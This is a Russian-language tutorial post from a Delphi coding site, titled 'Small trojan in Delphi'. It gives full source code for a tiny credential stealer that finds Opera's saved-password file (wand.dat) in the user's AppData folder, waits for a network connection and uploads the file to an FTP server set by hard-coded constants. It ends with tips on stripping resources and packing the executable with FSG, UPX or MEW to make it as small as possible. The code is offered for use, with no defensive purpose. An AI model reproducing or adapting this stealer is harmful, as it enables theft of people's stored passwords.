Суббота, 19.05.2012, 21:22 Приветствую вас Гость | Группа "Гости" 


Меню сайта

Администрация
184023 dolphin
611892 gravitas

Помощь проекту

R106276538945
Z160640024212

Яндекс деньги
410011190732605

Недавние темы

Опрос
Сколько времени вы проводите в интернете?
Всего ответов: 353

Главная » 2011 » Декабрь » 30 » Маленький троян на Delphi
03:17
Маленький троян на Delphi
Статья рассчитана на имеющих базовые знания.
Чтобы создать миниатюрный троян с функционалом стиллера (ворующего пароли) и отправляющего их на фтп Размером от 4 кб до 1,2 или даже 1,1 кб нам понадобится среда Delphi 7, Программа для работы с ресурсами - Restorator (http://delfcode.ru/load/delphi/dsoft/restorator_2009/2-1-0-493) и несколько пакеров например FSG, UPX, MEW.

Чтобы получить ехе файл такого размера для начала необходимо подготовить "почву" перекомпилировать системные модули Delphi и получить два файла - SysInit.dcu, System.dcu (http://delfcode.ru/files/System.dcu http://delfcode.ru/files/SysInit.dcu).

после этого создаём папку с проектом и копируем модули в папку создаем файл *.dpr в этой папке, открываем и начинаем с чистого листа

program small_trojan_delfcode_ru;

Константы которые необходимы :

const
Server ='delfcode.ru'; //фтп сервер
Login = 'user'; //на нём
PassW = 'password'; //пароль
MAX_PATH = 260;
winetdll = 'wininet.dll';
kernel32 = 'kernel32.dll';


Чтобы написать такой маленький проект нужно вынести необходимые нам в последующем типы данных :

type
buf = array[0..MAX_PATH] of char;

TFileTime = record
dwLowDateTime : integer;
dwHighDateTime : integer;
end;

TWin32FindData = record
dwFileAttributes : integer;
ftCreationTime : TFileTime;
ftLastAccessTime : TFileTime;
ftLastWriteTime : TFileTime;
nFileSizeHigh : integer;
nFileSizeLow : integer;
dwReserved0 : integer;
dwReserved1 : integer;
cFileName : array[0..MAX_PATH-1] of AnsiChar;
cAlternateFileName : array[0..13] of AnsiChar;
end;

var
wand : buf;
IntOpn, IntCnt : Pointer;


Эти функции вынесены из стандартных модулей delphi :

function InternetOpen(lpszAgent:PChar;dwAccessType: integer ;lpszProxy,lpszProxyBypass:PChar;dwFlags: integer): Pointer ;stdcall;external winetdll name 'InternetOpenA';
function InternetConnect(hInet : pointer; lpszServerName: PChar;nServerPort: Word ;lpszUsername: PChar; lpszPassword: PChar;dwService: integer; dwFlags:integer;dwContext:integer): pointer ;stdcall;external winetdll name 'InternetConnectA';
procedure Sleep(dwMilliseconds:integer);stdcall;external kernel32 name 'Sleep';
function FtpPutFile(hConnect : pointer;lpszLocalFile:PChar;lpszNewRemoteFile:PChar;dwFlags: integer; dwContext:integer):Boolean;stdcall;external winetdll name 'FtpPutFileA';
function InternetCloseHandle(hInet: pointer):Boolean ;stdcall;external winetdll name 'InternetCloseHandle';
function FindClose(hFindFile: integer): BOOLEAN; stdcall; external kernel32 name 'FindClose';
function FindFirstFile(lpFileName: PChar; var lpFindFileData: TWin32FindData): integer; stdcall; external kernel32 name 'FindFirstFileA';
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA';
function GetEnvironmentVariable(lpName: PChar; lpBuffer: PChar; nSize: integer): integer; stdcall; external kernel32 name 'GetEnvironmentVariableA';
function InternetGetConnectedState(lpdwFlags: pointer;dwReserved: INTEGER): BOOLEAN; stdcall; external winetdll name 'InternetGetConnectedState';


Эта функция замена стандартной FileExists чтобы не использовать SysUtils :

function Exists(path : PChar): boolean;
var
FD : TWin32FindData;
H : Integer;
begin
H:=FindFirstFile(path,FD);
if H <> -1 then
Result:=true
else
Result:=false;
FindClose(H);
end;


Дальше идёт основной код проверка есть ли файл :

begin
GetEnvironmentVariable('appdata',wand,MAX_PATH);
lstrcat(wand,'\Opera\Opera\wand.dat');
if Exists(wand) then
begin


Программа будет проверять есть ли соединение с интернет каждые 30 секунд, если есть то... :

repeat
sleep(30000);
until
InternetGetConnectedState(nil,0);


Отсылаем нужный нам файл к нам на сервер :

IntOpn:= internetopen('nil',1,nil,nil,0);
if assigned(IntOpn) then
begin
IntCnt:= internetconnect(IntOpn,PChar(server),21,PChar(Login),PChar(PassW),1,$08000000,0);
if assigned(IntCnt) then
begin
sleep(100);


Кладём файл в корень фтп :

ftpputfile(IntCnt,wand,'/wand.dat',$00000000,0);

Закрываем соединения :

internetclosehandle(IntCnt);
end;
internetclosehandle(IntOpn);
end;
end;
end.

© Delfcode.ru Dolphin


Написание закончено, теперь скомпилированный нами ехе весит около 4 кб, и в нем присутствуют по крайней мере 2 ненужные нам секции - ресурсов и релокации. Секцию ресурсов можно удалить в рестораторе - закидаваем файл в него и удаляем все ресурсы. Теперь ехе весит около 3,5 кб. Чтобы уменьшить его размер можно использовать пакеры FSG, UPX, MEW, которые так же можно найти на нашем сайте. Если упаковать полученный ехе то его размер составит 1,5 - 1,1 кб! Удачной разработки!
Просмотров: 332 | Добавил: dolphin | Рейтинг: 4.4/7
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Профиль


Логин:
Пароль:

Поиск

Наша кнопка

Вирусология, взгляд из Delphi



Статистика
HSDN :: Рейтинг сайтов WOlist.ru - каталог качественных сайтов Рунета Яндекс.Метрика
Яндекс цитирования
Статистика материалов
Файлов: 391
Форум: 617/4442
Коментариев: 711
Новостей: 38
Блог: 2

Статистика пользователей
Всего: 1194
За неделю: 15
Вчера: 2
Сегодня: 3
Всего онлайн: 1
Гостей: 1
Пользователей: 0

delfcode.ru © 2008 - 2012 Хостинг от uCoz